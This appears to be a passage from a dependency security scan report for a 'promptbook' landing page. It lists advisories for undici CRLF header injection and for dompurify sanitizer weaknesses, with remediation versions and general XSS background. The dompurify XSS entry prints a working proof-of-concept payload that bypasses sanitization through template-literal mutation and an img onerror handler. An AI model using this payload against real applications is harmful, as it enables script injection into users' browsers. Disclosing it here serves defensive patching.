  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to CRLF Injection via the writeH1 path in lib/dispatcher/client-h1.js. An attacker can append arbitrary HTTP headers or smuggle a second request by supplying a duck-typed blob-like body whose .type contains \r\n when an application sends it through request(), stream(), pipeline(), or dispatch() without an explicit content-type header. The vulnerable code copies body.type directly into the outgoing content-type header, so the injected newline sequence is written on the wire and processed by the upstream HTTP/1.1 server. This can corrupt request handling and expose or alter requests sent by the user.

Remediation

Upgrade undici to version 6.28.0, 7.29.0, 8.9.0 or higher.

References

low severity

Protection Mechanism Failure

  • Vulnerable module: dompurify
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 dompurify@3.4.6
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/components@0.114.0-2 dompurify@3.4.6
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 monaco-editor@0.54.0 dompurify@3.1.7
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 swagger-ui-react@5.31.2 dompurify@3.2.6

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Protection Mechanism Failure through the clearConfig function. An attacker can execute arbitrary scripts in a Trusted Types sink by influencing a previously supplied TRUSTED_TYPES_POLICY on a reused instance and later triggering output with RETURN_TRUSTED_TYPE: true.

Note:

This is only exploitable if a DOMPurify instance is reused across trust boundaries and a less-trusted integration or attacker has previously set an unsafe Trusted Types policy.

Remediation

Upgrade dompurify to version 3.4.9 or higher.

References

low severity

Cross-site Scripting (XSS)

  • Vulnerable module: dompurify
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 monaco-editor@0.54.0 dompurify@3.1.7

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to incorrect handling of template literals in regular expressions. An attacker can manipulate the output of the script by injecting malicious payloads that bypass the dompurify sanitization.

PoC

DOMPurify.sanitize(
  `<math><foo-test><mi><li><table><foo-test><li></li></foo-test><a>
      <style>
        <! \${
      </style>
      }
      <foo-b id="><img src onerror='alert(1)'>">hmm...</foo-b>
    </a></table></li></mi></foo-test></math>
  `,
  {
    SAFE_FOR_TEMPLATES: true,
    CUSTOM_ELEMENT_HANDLING: {
      tagNameCheck: /^foo-/,
    },
  }
);

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.2.4 or higher.

References